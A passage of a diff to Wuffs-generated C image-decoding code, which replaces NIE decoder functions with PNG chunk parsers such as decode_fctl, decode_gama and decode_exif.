(WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_6 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_chrm.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_chrm.scratch; ++ uint32_t num_bits_6 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_6); ++ if (num_bits_6 == 24) { ++ t_6 = ((uint64_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_6 += 8u; ++ *scratch |= ((uint64_t)(num_bits_6)); ++ } ++ } ++ v_u = t_6; ++ } ++ self->private_impl.f_metadata_z |= ((16777215u & v_u) << 16u); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); ++ uint64_t t_7; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_7 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_chrm.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_chrm.scratch; ++ uint32_t num_bits_7 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_7); ++ if (num_bits_7 == 24) { ++ t_7 = ((uint64_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_7 += 8u; ++ *scratch |= ((uint64_t)(num_bits_7)); ++ } ++ } ++ v_u = t_7; ++ } ++ self->private_impl.f_metadata_z |= ((16777215u & v_u) << 40u); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_nie__decoder__get_quirk( +- const wuffs_nie__decoder* self, +- uint32_t a_key) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; ++ goto ok; ++ ok: ++ self->private_impl.p_decode_chrm = 0; ++ goto exit; + } + +- return 0u; +-} +- +-// -------- func nie.decoder.set_quirk ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_chrm = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_nie__decoder__set_quirk( +- wuffs_nie__decoder* self, +- uint32_t a_key, +- uint64_t a_value) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } + +- return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ return status; + } + +-// -------- func nie.decoder.decode_image_config ++// -------- func png.decoder.decode_exif + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_nie__decoder__decode_image_config( +- wuffs_nie__decoder* self, +- wuffs_base__image_config* a_dst, ++static wuffs_base__status ++wuffs_png__decoder__decode_exif( ++ wuffs_png__decoder* self, + wuffs_base__io_buffer* a_src) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- if (!a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 1)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); +- } +- self->private_impl.active_coroutine = 0; + wuffs_base__status status = wuffs_base__make_status(NULL); + +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- +- uint32_t coro_susp_point = self->private_impl.p_decode_image_config[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- while (true) { +- { +- wuffs_base__status t_0 = wuffs_nie__decoder__do_decode_image_config(self, a_dst, a_src); +- v_status = t_0; +- } +- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_nie__error__truncated_input); +- goto exit; +- } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- } ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } + +- ok: +- self->private_impl.p_decode_image_config[0] = 0; ++ if (self->private_impl.f_chunk_length < 4u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); + goto exit; + } ++ self->private_impl.f_metadata_flavor = 3u; ++ self->private_impl.f_metadata_fourcc = 1163413830u; ++ self->private_impl.f_metadata_x = 0u; ++ self->private_impl.f_metadata_y = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); ++ self->private_impl.f_metadata_z = wuffs_base__u64__sat_add(self->private_impl.f_metadata_y, ((uint64_t)(self->private_impl.f_chunk_length))); ++ self->private_impl.f_chunk_length = 0u; + +- goto suspend; +- suspend: +- self->private_impl.p_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; +- ++ goto ok; ++ ok: + goto exit; + exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } ++ + return status; + } + +-// -------- func nie.decoder.do_decode_image_config ++// -------- func png.decoder.decode_fctl + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_nie__decoder__do_decode_image_config( +- wuffs_nie__decoder* self, +- wuffs_base__image_config* a_dst, ++wuffs_png__decoder__decode_fctl( ++ wuffs_png__decoder* self, + wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint32_t v_a = 0; ++ uint32_t v_x0 = 0; ++ uint32_t v_y0 = 0; ++ uint32_t v_x1 = 0; ++ uint32_t v_y1 = 0; + + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -51075,185 +64112,309 @@ wuffs_nie__decoder__do_decode_image_config( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_fctl; ++ if (coro_susp_point) { ++ v_x0 = self->private_data.s_decode_fctl.v_x0; ++ v_x1 = self->private_data.s_decode_fctl.v_x1; ++ v_y1 = self->private_data.s_decode_fctl.v_y1; ++ } + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if (self->private_impl.f_call_sequence != 0u) { +- status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ if (self->private_impl.f_chunk_length != 26u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); + goto exit; + } ++ self->private_impl.f_chunk_length = 0u; + { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); + uint32_t t_0; + if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_0 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ t_0 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); + iop_a_src += 4; + } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; ++ self->private_data.s_decode_fctl.scratch = 0; + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); + while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; ++ uint64_t* scratch = &self->private_data.s_decode_fctl.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); + *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); + if (num_bits_0 == 24) { +- t_0 = ((uint32_t)(*scratch)); ++ t_0 = ((uint32_t)(*scratch >> 32)); + break; + } + num_bits_0 += 8u; +- *scratch |= ((uint64_t)(num_bits_0)) << 56; ++ *scratch |= ((uint64_t)(num_bits_0)); + } + } +- v_a = t_0; ++ v_x0 = t_0; + } +- if (v_a != 1169146734u) { +- status = wuffs_base__make_status(wuffs_nie__error__bad_header); ++ if (v_x0 != self->private_impl.f_next_animation_seq_num) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_animation_sequence_number); ++ goto exit; ++ } else if (self->private_impl.f_next_animation_seq_num >= 4294967295u) { ++ status = wuffs_base__make_status(wuffs_png__error__unsupported_png_file); + goto exit; + } ++ self->private_impl.f_next_animation_seq_num += 1u; + { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); + uint32_t t_1; + if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_1 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ t_1 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); + iop_a_src += 4; + } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; ++ self->private_data.s_decode_fctl.scratch = 0; + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); + while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; ++ uint64_t* scratch = &self->private_data.s_decode_fctl.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); + *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); + if (num_bits_1 == 24) { +- t_1 = ((uint32_t)(*scratch)); ++ t_1 = ((uint32_t)(*scratch >> 32)); + break; + } + num_bits_1 += 8u; +- *scratch |= ((uint64_t)(num_bits_1)) << 56; ++ *scratch |= ((uint64_t)(num_bits_1)); + } + } +- v_a = t_1; +- } +- if (v_a == 879649535u) { +- self->private_impl.f_pixfmt = 2164295816u; +- } else if (v_a == 946758399u) { +- self->private_impl.f_pixfmt = 2164308923u; +- } else if (v_a == 879780607u) { +- status = wuffs_base__make_status(wuffs_nie__error__unsupported_nie_file); +- goto exit; +- } else if (v_a == 946889471u) { +- status = wuffs_base__make_status(wuffs_nie__error__unsupported_nie_file); +- goto exit; +- } else { +- status = wuffs_base__make_status(wuffs_nie__error__bad_header); +- goto exit; ++ v_x1 = t_1; + } + { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); + uint32_t t_2; + if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_2 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ t_2 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); + iop_a_src += 4; + } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; ++ self->private_data.s_decode_fctl.scratch = 0; + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); + while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_2 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; ++ uint64_t* scratch = &self->private_data.s_decode_fctl.scratch; ++ uint32_t num_bits_2 = ((uint32_t)(*scratch & 0xFFu)); + *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_2; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_2); + if (num_bits_2 == 24) { +- t_2 = ((uint32_t)(*scratch)); ++ t_2 = ((uint32_t)(*scratch >> 32)); + break; + } + num_bits_2 += 8u; +- *scratch |= ((uint64_t)(num_bits_2)) << 56; ++ *scratch |= ((uint64_t)(num_bits_2)); + } + } +- v_a = t_2; +- } +- if (v_a > 2147483647u) { +- status = wuffs_base__make_status(wuffs_nie__error__bad_header); +- goto exit; +- } else if (v_a > 16777215u) { +- status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); +- goto exit; ++ v_y1 = t_2; + } +- self->private_impl.f_width = v_a; + { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); + uint32_t t_3; + if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_3 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ t_3 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); + iop_a_src += 4; + } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; ++ self->private_data.s_decode_fctl.scratch = 0; + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); + while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_3 = ((uint32_t)(*scratch >> 56)); ++ uint64_t* scratch = &self->private_data.s_decode_fctl.scratch; ++ uint32_t num_bits_3 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_3); ++ if (num_bits_3 == 24) { ++ t_3 = ((uint32_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_3 += 8u; ++ *scratch |= ((uint64_t)(num_bits_3)); ++ } ++ } ++ v_x0 = t_3; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ uint32_t t_4; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_4 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_fctl.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_fctl.scratch; ++ uint32_t num_bits_4 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_4); ++ if (num_bits_4 == 24) { ++ t_4 = ((uint32_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_4 += 8u; ++ *scratch |= ((uint64_t)(num_bits_4)); ++ } ++ } ++ v_y0 = t_4; ++ } ++ v_x1 += v_x0; ++ v_y1 += v_y0; ++ if ((v_x0 >= v_x1) || ++ (v_x0 > self->private_impl.f_width) || ++ (v_x1 > self->private_impl.f_width) || ++ (v_y0 >= v_y1) || ++ (v_y0 > self->private_impl.f_height) || ++ (v_y1 > self->private_impl.f_height)) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ self->private_impl.f_frame_rect_x0 = v_x0; ++ self->private_impl.f_frame_rect_y0 = v_y0; ++ self->private_impl.f_frame_rect_x1 = v_x1; ++ self->private_impl.f_frame_rect_y1 = v_y1; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); ++ uint32_t t_5; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_5 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_decode_fctl.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_fctl.scratch; ++ uint32_t num_bits_5 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; + *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_5); ++ if (num_bits_5 == 8) { ++ t_5 = ((uint32_t)(*scratch >> 48)); ++ break; ++ } ++ num_bits_5 += 8u; ++ *scratch |= ((uint64_t)(num_bits_5)); ++ } ++ } ++ v_x0 = t_5; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); ++ uint32_t t_6; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_6 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_decode_fctl.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_fctl.scratch; ++ uint32_t num_bits_6 = ((uint32_t)(*scratch & 0xFFu)); + *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_3; +- if (num_bits_3 == 24) { +- t_3 = ((uint32_t)(*scratch)); ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_6); ++ if (num_bits_6 == 8) { ++ t_6 = ((uint32_t)(*scratch >> 48)); + break; + } +- num_bits_3 += 8u; +- *scratch |= ((uint64_t)(num_bits_3)) << 56; ++ num_bits_6 += 8u; ++ *scratch |= ((uint64_t)(num_bits_6)); + } + } +- v_a = t_3; ++ v_x1 = t_6; + } +- if (v_a > 2147483647u) { +- status = wuffs_base__make_status(wuffs_nie__error__bad_header); ++ if (v_x1 <= 0u) { ++ self->private_impl.f_frame_duration = (((uint64_t)(v_x0)) * 7056000u); ++ } else { ++ self->private_impl.f_frame_duration = ((((uint64_t)(v_x0)) * 705600000u) / ((uint64_t)(v_x1))); ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint32_t t_7 = *iop_a_src++; ++ v_x0 = t_7; ++ } ++ if (v_x0 == 0u) { ++ self->private_impl.f_frame_disposal = 0u; ++ } else if (v_x0 == 1u) { ++ self->private_impl.f_frame_disposal = 1u; ++ } else if (v_x0 == 2u) { ++ self->private_impl.f_frame_disposal = 2u; ++ } else { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); + goto exit; +- } else if (v_a > 16777215u) { +- status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint32_t t_8 = *iop_a_src++; ++ v_x0 = t_8; ++ } ++ if (v_x0 == 0u) { ++ self->private_impl.f_frame_overwrite_instead_of_blend = true; ++ } else if (v_x0 == 1u) { ++ self->private_impl.f_frame_overwrite_instead_of_blend = false; ++ } else { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); + goto exit; + } +- self->private_impl.f_height = v_a; +- if (a_dst != NULL) { +- wuffs_base__image_config__set( +- a_dst, +- self->private_impl.f_pixfmt, +- 0u, +- self->private_impl.f_width, +- self->private_impl.f_height, +- 16u, +- false); ++ if (self->private_impl.f_num_decoded_frame_configs_value == 0u) { ++ self->private_impl.f_first_rect_x0 = self->private_impl.f_frame_rect_x0; ++ self->private_impl.f_first_rect_y0 = self->private_impl.f_frame_rect_y0; ++ self->private_impl.f_first_rect_x1 = self->private_impl.f_frame_rect_x1; ++ self->private_impl.f_first_rect_y1 = self->private_impl.f_frame_rect_y1; ++ self->private_impl.f_first_duration = self->private_impl.f_frame_duration; ++ self->private_impl.f_first_disposal = self->private_impl.f_frame_disposal; ++ self->private_impl.f_first_overwrite_instead_of_blend = self->private_impl.f_frame_overwrite_instead_of_blend; + } +- self->private_impl.f_call_sequence = 32u; + + goto ok; + ok: +- self->private_impl.p_do_decode_image_config[0] = 0; ++ self->private_impl.p_decode_fctl = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_do_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.p_decode_fctl = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_fctl.v_x0 = v_x0; ++ self->private_data.s_decode_fctl.v_x1 = v_x1; ++ self->private_data.s_decode_fctl.v_y1 = v_y1; + + goto exit; + exit: +@@ -51264,82 +64425,99 @@ wuffs_nie__decoder__do_decode_image_config( + return status; + } + +-// -------- func nie.decoder.decode_frame_config ++// -------- func png.decoder.decode_gama + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_nie__decoder__decode_frame_config( +- wuffs_nie__decoder* self, +- wuffs_base__frame_config* a_dst, ++static wuffs_base__status ++wuffs_png__decoder__decode_gama( ++ wuffs_png__decoder* self, + wuffs_base__io_buffer* a_src) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- if (!a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 2)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); +- } +- self->private_impl.active_coroutine = 0; + wuffs_base__status status = wuffs_base__make_status(NULL); + +- wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } + +- uint32_t coro_susp_point = self->private_impl.p_decode_frame_config[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_gama; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- while (true) { +- { +- wuffs_base__status t_0 = wuffs_nie__decoder__do_decode_frame_config(self, a_dst, a_src); +- v_status = t_0; +- } +- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_nie__error__truncated_input); +- goto exit; ++ if (self->private_impl.f_chunk_length != 4u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ self->private_impl.f_chunk_length = 0u; ++ self->private_impl.f_metadata_flavor = 5u; ++ self->private_impl.f_metadata_fourcc = 1195461953u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ uint64_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_0 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_gama.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_gama.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); ++ if (num_bits_0 == 24) { ++ t_0 = ((uint64_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)); ++ } + } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ self->private_impl.f_metadata_x = t_0; + } ++ self->private_impl.f_metadata_y = 0u; ++ self->private_impl.f_metadata_z = 0u; + ++ goto ok; + ok: +- self->private_impl.p_decode_frame_config[0] = 0; ++ self->private_impl.p_decode_gama = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; ++ self->private_impl.p_decode_gama = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + + goto exit; + exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } ++ + return status; + } + +-// -------- func nie.decoder.do_decode_frame_config ++// -------- func png.decoder.decode_iccp + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_nie__decoder__do_decode_frame_config( +- wuffs_nie__decoder* self, +- wuffs_base__frame_config* a_dst, ++wuffs_png__decoder__decode_iccp( ++ wuffs_png__decoder* self, + wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + ++ uint8_t v_c8 = 0; ++ + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; + const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -51351,62 +64529,63 @@ wuffs_nie__decoder__do_decode_frame_config( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_iccp; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if (self->private_impl.f_call_sequence == 32u) { +- } else if (self->private_impl.f_call_sequence < 32u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ while (true) { ++ if (self->private_impl.f_chunk_length <= 0u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; + } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- status = wuffs_nie__decoder__do_decode_image_config(self, NULL, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ self->private_impl.f_chunk_length -= 1u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; + } 